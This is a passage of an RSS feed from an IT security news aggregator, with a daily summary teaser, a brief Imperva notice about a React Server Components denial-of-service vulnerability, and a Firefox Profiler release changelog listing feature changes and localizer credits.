<guid isPermaLink="true">https://tsecurity.de/de/3503740/it-security-nachrichten/it-security-news-daily-summary-2026-05-09/</guid>
<pubDate>Sun, 10 May 2026 00:23:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>29 posts were published in the last hour 20:32 : CVE-2026-23870: Imperva Customers Protected Against Critical React Server Components DoS Vulnerability 19:5 : IT Security News Hourly Summary 2026-05-09 21h : 1 posts 18:32 : TCLBANKER Threat Actors Intensify Financial…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/it-security-news-daily-summary-2026-05-09/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/it-security-news-daily-summary-2026-05-09/">IT Security News Daily Summary 2026-05-09</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-23870: Imperva Customers Protected Against Critical React Server Components DoS Vulnerability]]></title>
<description><![CDATA[TL;DR: A newly disclosed denial-of-service vulnerability, CVE-2026-23870, impacts React Server Components and dependent frameworks, including Next.js App Router deployments. The flaw enables unauthenticated attackers to send specially crafted HTTP requests that trigger excessive CPU consumption d...]]></description>
<link>https://tsecurity.de/de/3503685/it-security-nachrichten/cve-2026-23870-imperva-customers-protected-against-critical-react-server-components-dos-vulnerability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3503685/it-security-nachrichten/cve-2026-23870-imperva-customers-protected-against-critical-react-server-components-dos-vulnerability/</guid>
<pubDate>Sat, 09 May 2026 22:39:46 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>TL;DR: A newly disclosed denial-of-service vulnerability, CVE-2026-23870, impacts React Server Components and dependent frameworks, including Next.js App Router deployments. The flaw enables unauthenticated attackers to send specially crafted HTTP requests that trigger excessive CPU consumption during request deserialization, leading to potential…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/cve-2026-23870-imperva-customers-protected-against-critical-react-server-components-dos-vulnerability/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/cve-2026-23870-imperva-customers-protected-against-critical-react-server-components-dos-vulnerability/">CVE-2026-23870: Imperva Customers Protected Against Critical React Server Components DoS Vulnerability</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Firefox Tooling Announcements: Firefox Profiler Deployment (April 28, 2026)]]></title>
<description><![CDATA[The latest version of the Firefox Profiler is now live! Check out the full changelog below to see what’s changed:
Highlights:


[fatadel] Dim non-matching nodes in the stack chart when searching (#5935)


[Markus Stange] Always render the CPU-usage-aware activity graph when CPU information is ava...]]></description>
<link>https://tsecurity.de/de/3501625/tools/firefox-tooling-announcements-firefox-profiler-deployment-april-28-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3501625/tools/firefox-tooling-announcements-firefox-profiler-deployment-april-28-2026/</guid>
<pubDate>Fri, 08 May 2026 23:24:26 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>The latest version of the <a href="https://profiler.firefox.com/" rel="noopener nofollow ugc">Firefox Profiler</a> is now live! Check out the full changelog below to see what’s changed:</p>
<p><strong>Highlights:</strong></p>
<ul>
<li>
<p>[fatadel] Dim non-matching nodes in the stack chart when searching (<a href="https://github.com/firefox-devtools/profiler/pull/5935" rel="noopener nofollow ugc">#5935</a>)</p>
</li>
<li>
<p>[Markus Stange] Always render the CPU-usage-aware activity graph when CPU information is available (<a href="https://github.com/firefox-devtools/profiler/pull/5918" rel="noopener nofollow ugc">#5918</a>)</p>
</li>
<li>
<p>[fatadel] Add CounterDisplayConfig to counters in the processed profile format (<a href="https://github.com/firefox-devtools/profiler/pull/5912" rel="noopener nofollow ugc">#5912</a>)</p>
</li>
<li>
<p>[Nazım Can Altınova] Fallback to javascript highlighting in the source view as a backup (<a href="https://github.com/firefox-devtools/profiler/pull/5936" rel="noopener nofollow ugc">#5936</a>)</p>
</li>
<li>
<p>[fatadel] Replace 4 counter track components with a single generic TrackCounter (<a href="https://github.com/firefox-devtools/profiler/pull/5944" rel="noopener nofollow ugc">#5944</a>)</p>
</li>
<li>
<p>[Ryan Hunt] Add a fullscreen button to the bottom box (<a href="https://github.com/firefox-devtools/profiler/pull/5605" rel="noopener nofollow ugc">#5605</a>)</p>
</li>
<li>
<p>[Nazım Can Altınova] Add “Include idle samples” toggle to the call tree settings (<a href="https://github.com/firefox-devtools/profiler/pull/5968" rel="noopener nofollow ugc">#5968</a>)</p>
</li>
<li>
<p>[Markus Stange] Update the hovered item when panning any viewport canvas (<a href="https://github.com/firefox-devtools/profiler/pull/5903" rel="noopener nofollow ugc">#5903</a>)</p>
</li>
<li>
<p>[Nazım Can Altınova] Fix loading .json.gz profiles from inside zip archives (<a href="https://github.com/firefox-devtools/profiler/pull/5959" rel="noopener nofollow ugc">#5959</a>)</p>
</li>
<li>
<p>[Markus Stange] Replace symbolicator-cli with a profiler-edit node tool (<a href="https://github.com/firefox-devtools/profiler/pull/5965" rel="noopener nofollow ugc">#5965</a>)</p>
</li>
</ul>
<p><strong>Other Changes:</strong></p>
<ul>
<li>
<p>[fatadel] Fix arrow panel appearing behind marker tooltips (<a href="https://github.com/firefox-devtools/profiler/pull/5926" rel="noopener nofollow ugc">#5926</a>)</p>
</li>
<li>
<p>[fatadel] Upgrade Node.js from v22 to v24 (<a href="https://github.com/firefox-devtools/profiler/pull/5923" rel="noopener nofollow ugc">#5923</a>)</p>
</li>
<li>
<p>[Markus Stange] Use createStackTableBySkippingDiscarded in focusSelf. (<a href="https://github.com/firefox-devtools/profiler/pull/5916" rel="noopener nofollow ugc">#5916</a>)</p>
</li>
<li>
<p>[Markus Stange] Propagate isJS to symbolicated funcs (<a href="https://github.com/firefox-devtools/profiler/pull/5907" rel="noopener nofollow ugc">#5907</a>)</p>
</li>
<li>
<p>[Nazım Can Altınova] Properly type the return value of _languageExtForPath (<a href="https://github.com/firefox-devtools/profiler/pull/5937" rel="noopener nofollow ugc">#5937</a>)</p>
</li>
<li>
<p>[Nazım Can Altınova] Update typescript eslint dependencies (<a href="https://github.com/firefox-devtools/profiler/pull/5938" rel="noopener nofollow ugc">#5938</a>)</p>
</li>
<li>
<p>[Markus Stange] Modernize more of the transform functions (<a href="https://github.com/firefox-devtools/profiler/pull/5934" rel="noopener nofollow ugc">#5934</a>)</p>
</li>
<li>
<p>[Paul Adenot] Fix extractGeckoLogs for structured Log marker format (bug 2022540) (<a href="https://github.com/firefox-devtools/profiler/pull/5927" rel="noopener nofollow ugc">#5927</a>)</p>
</li>
<li>
<p>[Nazım Can Altınova] Move some profile fetching code into a separate module. (<a href="https://github.com/firefox-devtools/profiler/pull/5939" rel="noopener nofollow ugc">#5939</a>)</p>
</li>
<li>
<p>[Markus Stange] Migrate Home page animation to CSS transitions and remove react-transition-group (<a href="https://github.com/firefox-devtools/profiler/pull/5649" rel="noopener nofollow ugc">#5649</a>)</p>
</li>
<li>
<p>[Nazım Can Altınova] Fix test/lint commands on Windows and fix CI (<a href="https://github.com/firefox-devtools/profiler/pull/5947" rel="noopener nofollow ugc">#5947</a>)</p>
</li>
<li>
<p>[Nazım Can Altınova] Convert profile-logic/js-tracer.tsx to a ts file (<a href="https://github.com/firefox-devtools/profiler/pull/5942" rel="noopener nofollow ugc">#5942</a>)</p>
</li>
<li>
<p>[Markus Stange] Remove panelLayoutGeneration (<a href="https://github.com/firefox-devtools/profiler/pull/5946" rel="noopener nofollow ugc">#5946</a>)</p>
</li>
<li>
<p>[Nazım Can Altınova] Fix eslint-config-prettier silently overriding custom rules (<a href="https://github.com/firefox-devtools/profiler/pull/5955" rel="noopener nofollow ugc">#5955</a>)</p>
</li>
<li>
<p>[Markus Stange] Speed up _computeCallNodeTableHierarchy by keeping siblings ordered by func (<a href="https://github.com/firefox-devtools/profiler/pull/5964" rel="noopener nofollow ugc">#5964</a>)</p>
</li>
<li>
<p>[Nazım Can Altınova] Add dark mode versions of the fullscreen icons (<a href="https://github.com/firefox-devtools/profiler/pull/5972" rel="noopener nofollow ugc">#5972</a>)</p>
</li>
<li>
<p>[fatadel] Use ephemeral port for esbuild’s internal dev server (<a href="https://github.com/firefox-devtools/profiler/pull/5974" rel="noopener nofollow ugc">#5974</a>)</p>
</li>
<li>
<p>[carverdamien] Remove category from LongTaskMarkerPayload (<a href="https://github.com/firefox-devtools/profiler/pull/5975" rel="noopener nofollow ugc">#5975</a>)</p>
</li>
</ul>
<p>Big thanks to our amazing localizers for making this release possible:</p>
<ul>
<li>
<p>de: Ger</p>
</li>
<li>
<p>de: Michael Köhler</p>
</li>
<li>
<p>el: Jim Spentzos</p>
</li>
<li>
<p>en-GB: Ian Neal</p>
</li>
<li>
<p>es-CL: ravmn</p>
</li>
<li>
<p>fr: Théo Chevalier</p>
</li>
<li>
<p>ia: Melo46</p>
</li>
<li>
<p>it: Francesco Lodolo [:flod]</p>
</li>
<li>
<p>nl: Mark Heijl</p>
</li>
<li>
<p>pt-BR: Marcelo Ghelman</p>
</li>
<li>
<p>ru: Valery Ledovskoy</p>
</li>
<li>
<p>ru: berry</p>
</li>
<li>
<p>sv-SE: Andreas Pettersson</p>
</li>
<li>
<p>tr: Grk</p>
</li>
<li>
<p>zh-CN: Olvcpr423</p>
</li>
<li>
<p>zh-CN: wxie</p>
</li>
<li>
<p>zh-TW: Pin-guang Chen</p>
</li>
</ul>
<p>Find out more about the Firefox Profiler on <a href="https://profiler.firefox.com/" rel="noopener nofollow ugc">profiler.firefox.com</a>! If you have any questions, join the discussion on our <a href="https://chat.mozilla.org/#/room/%23profiler:mozilla.org" rel="noopener nofollow ugc">Matrix channel</a>!</p>
            <p><small>1 post - 1 participant</small></p>
            <p><a href="https://discourse.mozilla.org/t/firefox-profiler-deployment-april-28-2026/148154">Read full topic</a></p>]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,46ms -->